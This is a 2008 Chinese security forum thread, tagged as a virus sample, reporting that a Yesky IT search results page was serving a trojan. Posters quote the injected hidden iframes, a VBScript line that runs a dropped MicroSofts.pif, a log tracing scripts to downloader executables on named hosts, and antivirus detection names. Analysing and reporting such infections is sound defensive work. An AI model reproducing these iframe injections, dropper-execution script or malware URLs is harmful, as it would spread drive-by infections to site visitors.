天极IT搜索-有马了

显示全部楼层 · 发表于 2008-2-24 11:03:49

天极IT搜索-有马了

天极IT搜索 >> 下载搜索 >> 凝逸的搜索结果

http://search.yesky.com/searchdownload.do?searchType=1&sortType=1&wd=%C4%FD%D2%DD&login=%CB%D1+%CB%F7

<iframe src="http://www.yixoo.com/yixoo2.html" style="display:none">
<iframe src=http://xxx.aishengho.com/dm.htm?id=002 width=100 height=0></iframe>

生成
MicroSofts.pif
===========
Set Lovecuteqq = CreateObject("Wscript.Shell")
Lovecuteqq.run ("C:\DOCUME~1\xxx\LOCALS~1\Temp\MicroSofts.pif")
===========

显示全部楼层 · 发表于 2008-2-24 11:11:22

确实是啊

显示全部楼层 · 发表于 2008-2-24 11:35:01

从DM。HTM找的

显示全部楼层 · 发表于 2008-2-24 11:49:50

从DM。HTM找的
DM是什么工具?能否提供一个链接.

显示全部楼层 · 发表于 2008-2-24 12:08:57

红伞报了好几个。
\jh[1].htm.
\dm[1].htm
\rl[1].js

显示全部楼层 · 发表于 2008-2-24 12:17:36

Log is generated by FreShow.
      [frame]http://xxx.aishengho.com/dm.htm?id=002
         [script]http://town.521town.com/wm/rl.js
            [object]http://iii.chsip.net/cat.exe
         [frame]http://town.521town.com/wm/jh.htm
            [frame]http://town.521town.com/wm/*
            [script]http://ppp.chsip.net/wm/11.js
            [script]http://ppp.chsip.net/wm/bb.js
                  [object]http://iii.chsip.net/down.exe
            [script]http://ppp.chsip.net/wm/ppp.js
                  [object]http://iii.chsip.net/down.exe
            [script]http://ppp.chsip.net/wm/lz.js
                  [object]http://qqq.521town.com/down.exe

显示全部楼层 · 发表于 2008-2-24 12:20:23

MicroSofts.pif怎么找不到。。

显示全部楼层 · 发表于 2008-2-24 12:20:39

BD报Trojan.Dropper.Agent.TOH

3个全一样

显示全部楼层 · 发表于 2008-2-24 12:23:37

Trojan-downloader.Win32.Delf.epw

老了，杨本区早就有了

显示全部楼层 · 发表于 2008-2-24 12:26:53

2008-02-24 12:26:44 HTTP filter file http://iii.chsip.net/cat.exe Win32/TrojanDownloader.Delf.EPW trojan connection terminated - quarantined CHINESE-GUNDAM\GUNDAM Threat was detected upon access to web by the application: C:\Program Files\Mozilla Firefox\firefox.exe.
2008-02-24 12:26:12 HTTP filter file http://iii.chsip.net/down.exe Win32/TrojanDownloader.Delf.EPW trojan connection terminated - quarantined CHINESE-GUNDAM\GUNDAM Threat was detected upon access to web by the application: C:\Program Files\Mozilla Firefox\firefox.exe.

[病毒样本] 天极IT搜索-有马了

本帖子中包含更多资源

本帖子中包含更多资源

回复 6楼 garyyan456 的帖子